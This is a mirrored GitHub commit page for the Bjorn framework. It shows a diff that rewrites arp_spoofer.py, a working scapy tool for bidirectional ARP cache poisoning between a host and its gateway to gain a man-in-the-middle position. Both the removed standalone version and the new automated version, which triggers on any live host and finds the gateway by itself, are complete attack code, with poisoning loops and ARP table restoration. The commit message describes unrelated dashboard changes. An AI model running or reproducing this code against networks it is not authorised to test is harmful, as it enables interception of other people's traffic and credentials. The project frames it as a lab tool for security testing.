mirror of
https://github.com/infinition/Bjorn.git
synced 2026-03-16 17:12:00 +00:00
Add RLUtils class for managing RL/AI dashboard endpoints
- Implemented methods for fetching AI stats, training history, and recent experiences. - Added functionality to set operation mode (MANUAL, AUTO, AI) with appropriate handling. - Included helper methods for querying the database and sending JSON responses. - Integrated model metadata extraction for visualization purposes.
This commit is contained in:
@@ -1,163 +1,330 @@
|
||||
# AARP Spoofer by poisoning the ARP cache of a target and a gateway.
|
||||
# Saves settings (target, gateway, interface, delay) in `/home/bjorn/.settings_bjorn/arpspoofer_settings.json`.
|
||||
# Automatically loads saved settings if arguments are not provided.
|
||||
# -t, --target IP address of the target device (overrides saved value).
|
||||
# -g, --gateway IP address of the gateway (overrides saved value).
|
||||
# -i, --interface Network interface (default: primary or saved).
|
||||
# -d, --delay Delay between ARP packets in seconds (default: 2 or saved).
|
||||
# - First time: python arpspoofer.py -t TARGET -g GATEWAY -i INTERFACE -d DELAY
|
||||
# - Subsequent: python arpspoofer.py (uses saved settings).
|
||||
# - Update: Provide any argument to override saved values.
|
||||
"""
|
||||
arp_spoofer.py — ARP Cache Poisoning for Man-in-the-Middle positioning.
|
||||
|
||||
Ethical cybersecurity lab action for Bjorn framework.
|
||||
Performs bidirectional ARP spoofing between a target host and the network
|
||||
gateway. Restores ARP tables on completion or interruption.
|
||||
|
||||
SQL mode:
|
||||
- Orchestrator provides (ip, port, row) for the target host.
|
||||
- Gateway IP is auto-detected from system routing table or shared config.
|
||||
- Results persisted to JSON output and logged for RL training.
|
||||
- Fully integrated with EPD display (progress, status, comments).
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import argparse
|
||||
from scapy.all import ARP, send, sr1, conf
|
||||
import logging
|
||||
import json
|
||||
import subprocess
|
||||
import datetime
|
||||
|
||||
from typing import Dict, Optional, Tuple
|
||||
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="arp_spoofer.py", level=logging.DEBUG)
|
||||
|
||||
# Silence scapy warnings
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
||||
logging.getLogger("scapy").setLevel(logging.ERROR)
|
||||
|
||||
# ──────────────────────── Action Metadata ────────────────────────
|
||||
b_class = "ARPSpoof"
|
||||
b_module = "arp_spoofer"
|
||||
b_status = "arp_spoof"
|
||||
b_port = None
|
||||
b_service = '[]'
|
||||
b_trigger = "on_host_alive"
|
||||
b_parent = None
|
||||
b_action = "aggressive"
|
||||
b_category = "network_attack"
|
||||
b_name = "ARP Spoofer"
|
||||
b_description = (
|
||||
"Bidirectional ARP cache poisoning between target host and gateway for "
|
||||
"MITM positioning. Detects gateway automatically, spoofs both directions, "
|
||||
"and cleanly restores ARP tables on completion. Educational lab use only."
|
||||
)
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "ARPSpoof.png"
|
||||
|
||||
b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}'
|
||||
b_priority = 30
|
||||
b_cooldown = 3600
|
||||
b_rate_limit = "2/86400"
|
||||
b_timeout = 300
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 2
|
||||
b_risk_level = "high"
|
||||
b_enabled = 1
|
||||
b_tags = ["mitm", "arp", "network", "layer2"]
|
||||
|
||||
b_args = {
|
||||
"duration": {
|
||||
"type": "slider", "label": "Duration (s)",
|
||||
"min": 10, "max": 300, "step": 10, "default": 60,
|
||||
"help": "How long to maintain the ARP poison (seconds)."
|
||||
},
|
||||
"interval": {
|
||||
"type": "slider", "label": "Packet interval (s)",
|
||||
"min": 1, "max": 10, "step": 1, "default": 2,
|
||||
"help": "Delay between ARP poison packets."
|
||||
},
|
||||
}
|
||||
b_examples = [
|
||||
{"duration": 60, "interval": 2},
|
||||
{"duration": 120, "interval": 1},
|
||||
]
|
||||
b_docs_url = "docs/actions/ARPSpoof.md"
|
||||
|
||||
# ──────────────────────── Constants ──────────────────────────────
|
||||
_DATA_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "data")
|
||||
OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "arp")
|
||||
|
||||
b_class = "ARPSpoof"
|
||||
b_module = "arp_spoofer"
|
||||
b_enabled = 0
|
||||
# Folder and file for settings
|
||||
SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
||||
SETTINGS_FILE = os.path.join(SETTINGS_DIR, "arpspoofer_settings.json")
|
||||
|
||||
class ARPSpoof:
|
||||
def __init__(self, target_ip, gateway_ip, interface, delay):
|
||||
self.target_ip = target_ip
|
||||
self.gateway_ip = gateway_ip
|
||||
self.interface = interface
|
||||
self.delay = delay
|
||||
conf.iface = self.interface # Set the interface
|
||||
print(f"ARPSpoof initialized with target IP: {self.target_ip}, gateway IP: {self.gateway_ip}, interface: {self.interface}, delay: {self.delay}s")
|
||||
"""ARP cache poisoning action integrated with Bjorn orchestrator."""
|
||||
|
||||
def get_mac(self, ip):
|
||||
"""Gets the MAC address of a target IP by sending an ARP request."""
|
||||
print(f"Retrieving MAC address for IP: {ip}")
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
self._scapy_ok = False
|
||||
self._check_scapy()
|
||||
try:
|
||||
arp_request = ARP(pdst=ip)
|
||||
response = sr1(arp_request, timeout=2, verbose=False)
|
||||
if response:
|
||||
print(f"MAC address found for {ip}: {response.hwsrc}")
|
||||
return response.hwsrc
|
||||
else:
|
||||
print(f"No ARP response received for IP {ip}")
|
||||
return None
|
||||
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
||||
except OSError:
|
||||
pass
|
||||
logger.info("ARPSpoof initialized")
|
||||
|
||||
def _check_scapy(self):
|
||||
try:
|
||||
from scapy.all import ARP, Ether, sendp, sr1 # noqa: F401
|
||||
self._scapy_ok = True
|
||||
except ImportError:
|
||||
logger.error("scapy not available — ARPSpoof will not function")
|
||||
self._scapy_ok = False
|
||||
|
||||
# ─────────────────── Identity Cache ──────────────────────
|
||||
def _refresh_ip_identity_cache(self):
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
print(f"Error retrieving MAC address for {ip}: {e}")
|
||||
return None
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hn = (r.get("hostnames") or "").split(";", 1)[0]
|
||||
for ip_addr in [p.strip() for p in (r.get("ips") or "").split(";") if p.strip()]:
|
||||
self._ip_to_identity[ip_addr] = (mac, hn)
|
||||
|
||||
def spoof(self, target_ip, spoof_ip):
|
||||
"""Sends an ARP packet to spoof the target into believing the attacker's IP is the spoofed IP."""
|
||||
print(f"Preparing ARP spoofing for target {target_ip}, pretending to be {spoof_ip}")
|
||||
target_mac = self.get_mac(target_ip)
|
||||
spoof_mac = self.get_mac(spoof_ip)
|
||||
if not target_mac or not spoof_mac:
|
||||
print(f"Cannot find MAC address for target {target_ip} or {spoof_ip}, spoofing aborted")
|
||||
return
|
||||
def _mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
# ─────────────────── Gateway Detection ──────────────────
|
||||
def _detect_gateway(self) -> Optional[str]:
|
||||
"""Auto-detect the default gateway IP."""
|
||||
gw = getattr(self.shared_data, "gateway_ip", None)
|
||||
if gw and gw != "0.0.0.0":
|
||||
return gw
|
||||
try:
|
||||
arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=spoof_mac)
|
||||
send(arp_response, verbose=False)
|
||||
print(f"Spoofed ARP packet sent to {target_ip} claiming to be {spoof_ip}")
|
||||
result = subprocess.run(
|
||||
["ip", "route", "show", "default"],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
if result.returncode == 0 and result.stdout.strip():
|
||||
parts = result.stdout.strip().split("\n")[0].split()
|
||||
idx = parts.index("via") if "via" in parts else -1
|
||||
if idx >= 0 and idx + 1 < len(parts):
|
||||
return parts[idx + 1]
|
||||
except Exception as e:
|
||||
print(f"Error sending ARP packet to {target_ip}: {e}")
|
||||
|
||||
def restore(self, target_ip, spoof_ip):
|
||||
"""Sends an ARP packet to restore the legitimate IP/MAC mapping for the target and spoof IP."""
|
||||
print(f"Restoring ARP association for {target_ip} using {spoof_ip}")
|
||||
target_mac = self.get_mac(target_ip)
|
||||
gateway_mac = self.get_mac(spoof_ip)
|
||||
|
||||
if not target_mac or not gateway_mac:
|
||||
print(f"Cannot restore ARP, MAC addresses not found for {target_ip} or {spoof_ip}")
|
||||
return
|
||||
|
||||
logger.debug(f"Gateway detection via ip route failed: {e}")
|
||||
try:
|
||||
arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=gateway_mac)
|
||||
send(arp_response, verbose=False, count=5)
|
||||
print(f"ARP association restored between {spoof_ip} and {target_mac}")
|
||||
from scapy.all import conf as scapy_conf
|
||||
gw = scapy_conf.route.route("0.0.0.0")[2]
|
||||
if gw and gw != "0.0.0.0":
|
||||
return gw
|
||||
except Exception as e:
|
||||
print(f"Error restoring ARP association for {target_ip}: {e}")
|
||||
logger.debug(f"Gateway detection via scapy failed: {e}")
|
||||
return None
|
||||
|
||||
def execute(self):
|
||||
"""Executes the ARP spoofing attack."""
|
||||
# ─────────────────── ARP Operations ──────────────────────
|
||||
@staticmethod
|
||||
def _get_mac_via_arp(ip: str, iface: str = None, timeout: float = 2.0) -> Optional[str]:
|
||||
"""Resolve IP to MAC via ARP request."""
|
||||
try:
|
||||
print(f"Starting ARP Spoofing attack on target {self.target_ip} via gateway {self.gateway_ip}")
|
||||
from scapy.all import ARP, sr1
|
||||
kwargs = {"timeout": timeout, "verbose": False}
|
||||
if iface:
|
||||
kwargs["iface"] = iface
|
||||
resp = sr1(ARP(pdst=ip), **kwargs)
|
||||
if resp and hasattr(resp, "hwsrc"):
|
||||
return resp.hwsrc
|
||||
except Exception as e:
|
||||
logger.debug(f"ARP resolution failed for {ip}: {e}")
|
||||
return None
|
||||
|
||||
while True:
|
||||
target_mac = self.get_mac(self.target_ip)
|
||||
gateway_mac = self.get_mac(self.gateway_ip)
|
||||
@staticmethod
|
||||
def _send_arp_poison(target_ip, target_mac, spoof_ip, iface=None):
|
||||
"""Send a single ARP poison packet (op=is-at)."""
|
||||
try:
|
||||
from scapy.all import ARP, Ether, sendp
|
||||
pkt = Ether(dst=target_mac) / ARP(
|
||||
op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip
|
||||
)
|
||||
kwargs = {"verbose": False}
|
||||
if iface:
|
||||
kwargs["iface"] = iface
|
||||
sendp(pkt, **kwargs)
|
||||
except Exception as e:
|
||||
logger.error(f"ARP poison send failed to {target_ip}: {e}")
|
||||
|
||||
if not target_mac or not gateway_mac:
|
||||
print(f"Error retrieving MAC addresses, stopping ARP Spoofing")
|
||||
self.restore(self.target_ip, self.gateway_ip)
|
||||
self.restore(self.gateway_ip, self.target_ip)
|
||||
@staticmethod
|
||||
def _send_arp_restore(target_ip, target_mac, real_ip, real_mac, iface=None):
|
||||
"""Restore legitimate ARP mapping with multiple packets."""
|
||||
try:
|
||||
from scapy.all import ARP, Ether, sendp
|
||||
pkt = Ether(dst=target_mac) / ARP(
|
||||
op=2, pdst=target_ip, hwdst=target_mac,
|
||||
psrc=real_ip, hwsrc=real_mac
|
||||
)
|
||||
kwargs = {"verbose": False, "count": 5}
|
||||
if iface:
|
||||
kwargs["iface"] = iface
|
||||
sendp(pkt, **kwargs)
|
||||
except Exception as e:
|
||||
logger.error(f"ARP restore failed for {target_ip}: {e}")
|
||||
|
||||
# ─────────────────── Main Execute ────────────────────────
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
"""Execute bidirectional ARP spoofing against target host."""
|
||||
self.shared_data.bjorn_orch_status = "ARPSpoof"
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
self.shared_data.comment_params = {"ip": ip}
|
||||
|
||||
if not self._scapy_ok:
|
||||
logger.error("scapy unavailable, cannot perform ARP spoof")
|
||||
return "failed"
|
||||
|
||||
target_mac = None
|
||||
gateway_mac = None
|
||||
gateway_ip = None
|
||||
iface = None
|
||||
|
||||
try:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
mac = row.get("MAC Address") or row.get("mac_address") or ""
|
||||
hostname = row.get("Hostname") or row.get("hostname") or ""
|
||||
|
||||
# 1) Detect gateway
|
||||
gateway_ip = self._detect_gateway()
|
||||
if not gateway_ip:
|
||||
logger.error(f"Cannot detect gateway for ARP spoof on {ip}")
|
||||
return "failed"
|
||||
if gateway_ip == ip:
|
||||
logger.warning(f"Target {ip} IS the gateway — skipping")
|
||||
return "failed"
|
||||
|
||||
logger.info(f"ARP Spoof: target={ip} gateway={gateway_ip}")
|
||||
self.shared_data.log_milestone(b_class, "GatewayID", f"Poisoning {ip} <-> {gateway_ip}")
|
||||
self.shared_data.comment_params = {"ip": ip, "gateway": gateway_ip}
|
||||
self.shared_data.bjorn_progress = "10%"
|
||||
|
||||
# 2) Resolve MACs
|
||||
iface = getattr(self.shared_data, "default_network_interface", None)
|
||||
target_mac = self._get_mac_via_arp(ip, iface)
|
||||
gateway_mac = self._get_mac_via_arp(gateway_ip, iface)
|
||||
|
||||
if not target_mac:
|
||||
logger.error(f"Cannot resolve MAC for target {ip}")
|
||||
return "failed"
|
||||
if not gateway_mac:
|
||||
logger.error(f"Cannot resolve MAC for gateway {gateway_ip}")
|
||||
return "failed"
|
||||
|
||||
self.shared_data.bjorn_progress = "20%"
|
||||
logger.info(f"Resolved — target_mac={target_mac}, gateway_mac={gateway_mac}")
|
||||
self.shared_data.log_milestone(b_class, "PoisonActive", f"MACs resolved, starting spoof")
|
||||
|
||||
# 3) Spoofing loop
|
||||
duration = int(getattr(self.shared_data, "arp_spoof_duration", 60))
|
||||
interval = max(1, int(getattr(self.shared_data, "arp_spoof_interval", 2)))
|
||||
packets_sent = 0
|
||||
start_time = time.time()
|
||||
|
||||
while (time.time() - start_time) < duration:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit — stopping ARP spoof")
|
||||
break
|
||||
self._send_arp_poison(ip, target_mac, gateway_ip, iface)
|
||||
self._send_arp_poison(gateway_ip, gateway_mac, ip, iface)
|
||||
packets_sent += 2
|
||||
|
||||
print(f"Sending ARP packets to poison {self.target_ip} and {self.gateway_ip}")
|
||||
self.spoof(self.target_ip, self.gateway_ip)
|
||||
self.spoof(self.gateway_ip, self.target_ip)
|
||||
elapsed = time.time() - start_time
|
||||
pct = min(90, int(20 + (elapsed / max(duration, 1)) * 70))
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
|
||||
if packets_sent % 20 == 0:
|
||||
self.shared_data.log_milestone(b_class, "Status", f"Injected {packets_sent} poison pkts")
|
||||
|
||||
time.sleep(self.delay)
|
||||
time.sleep(interval)
|
||||
|
||||
# 4) Restore ARP tables
|
||||
self.shared_data.bjorn_progress = "95%"
|
||||
logger.info("Restoring ARP tables...")
|
||||
self.shared_data.log_milestone(b_class, "RestoreStart", f"Healing {ip} and {gateway_ip}")
|
||||
self._send_arp_restore(ip, target_mac, gateway_ip, gateway_mac, iface)
|
||||
self._send_arp_restore(gateway_ip, gateway_mac, ip, target_mac, iface)
|
||||
|
||||
# 5) Save results
|
||||
elapsed_total = time.time() - start_time
|
||||
result_data = {
|
||||
"timestamp": datetime.datetime.now().isoformat(),
|
||||
"target_ip": ip, "target_mac": target_mac,
|
||||
"gateway_ip": gateway_ip, "gateway_mac": gateway_mac,
|
||||
"duration_s": round(elapsed_total, 1),
|
||||
"packets_sent": packets_sent,
|
||||
"hostname": hostname, "mac_address": mac
|
||||
}
|
||||
try:
|
||||
ts = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
out_file = os.path.join(OUTPUT_DIR, f"arp_spoof_{ip}_{ts}.json")
|
||||
with open(out_file, "w") as f:
|
||||
json.dump(result_data, f, indent=2)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to save results: {e}")
|
||||
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
self.shared_data.log_milestone(b_class, "Complete", f"Restored tables after {packets_sent} pkts")
|
||||
return "success"
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print("Attack interrupted. Restoring ARP tables.")
|
||||
self.restore(self.target_ip, self.gateway_ip)
|
||||
self.restore(self.gateway_ip, self.target_ip)
|
||||
print("ARP Spoofing stopped and ARP tables restored.")
|
||||
except Exception as e:
|
||||
print(f"Unexpected error during ARP Spoofing attack: {e}")
|
||||
logger.error(f"ARPSpoof failed for {ip}: {e}")
|
||||
if target_mac and gateway_mac and gateway_ip:
|
||||
try:
|
||||
self._send_arp_restore(ip, target_mac, gateway_ip, gateway_mac, iface)
|
||||
self._send_arp_restore(gateway_ip, gateway_mac, ip, target_mac, iface)
|
||||
logger.info("Emergency ARP restore sent after error")
|
||||
except Exception:
|
||||
pass
|
||||
return "failed"
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
def save_settings(target, gateway, interface, delay):
|
||||
"""Saves the ARP spoofing settings to a JSON file."""
|
||||
try:
|
||||
os.makedirs(SETTINGS_DIR, exist_ok=True)
|
||||
settings = {
|
||||
"target": target,
|
||||
"gateway": gateway,
|
||||
"interface": interface,
|
||||
"delay": delay
|
||||
}
|
||||
with open(SETTINGS_FILE, 'w') as file:
|
||||
json.dump(settings, file)
|
||||
print(f"Settings saved to {SETTINGS_FILE}")
|
||||
except Exception as e:
|
||||
print(f"Failed to save settings: {e}")
|
||||
|
||||
def load_settings():
|
||||
"""Loads the ARP spoofing settings from a JSON file."""
|
||||
if os.path.exists(SETTINGS_FILE):
|
||||
try:
|
||||
with open(SETTINGS_FILE, 'r') as file:
|
||||
return json.load(file)
|
||||
except Exception as e:
|
||||
print(f"Failed to load settings: {e}")
|
||||
return {}
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description="ARP Spoofing Attack Script")
|
||||
parser.add_argument("-t", "--target", help="IP address of the target device")
|
||||
parser.add_argument("-g", "--gateway", help="IP address of the gateway")
|
||||
parser.add_argument("-i", "--interface", default=conf.iface, help="Network interface to use (default: primary interface)")
|
||||
parser.add_argument("-d", "--delay", type=float, default=2, help="Delay between ARP packets in seconds (default: 2 seconds)")
|
||||
args = parser.parse_args()
|
||||
|
||||
# Load saved settings and override with CLI arguments
|
||||
settings = load_settings()
|
||||
target_ip = args.target or settings.get("target")
|
||||
gateway_ip = args.gateway or settings.get("gateway")
|
||||
interface = args.interface or settings.get("interface")
|
||||
delay = args.delay or settings.get("delay")
|
||||
|
||||
if not target_ip or not gateway_ip:
|
||||
print("Target and Gateway IPs are required. Use -t and -g or save them in the settings file.")
|
||||
exit(1)
|
||||
|
||||
# Save the settings for future use
|
||||
save_settings(target_ip, gateway_ip, interface, delay)
|
||||
|
||||
# Execute the attack
|
||||
spoof = ARPSpoof(target_ip=target_ip, gateway_ip=gateway_ip, interface=interface, delay=delay)
|
||||
spoof.execute()
|
||||
shared_data = SharedData()
|
||||
try:
|
||||
spoofer = ARPSpoof(shared_data)
|
||||
logger.info("ARPSpoof module ready.")
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
|
||||
Reference in New Issue
Block a user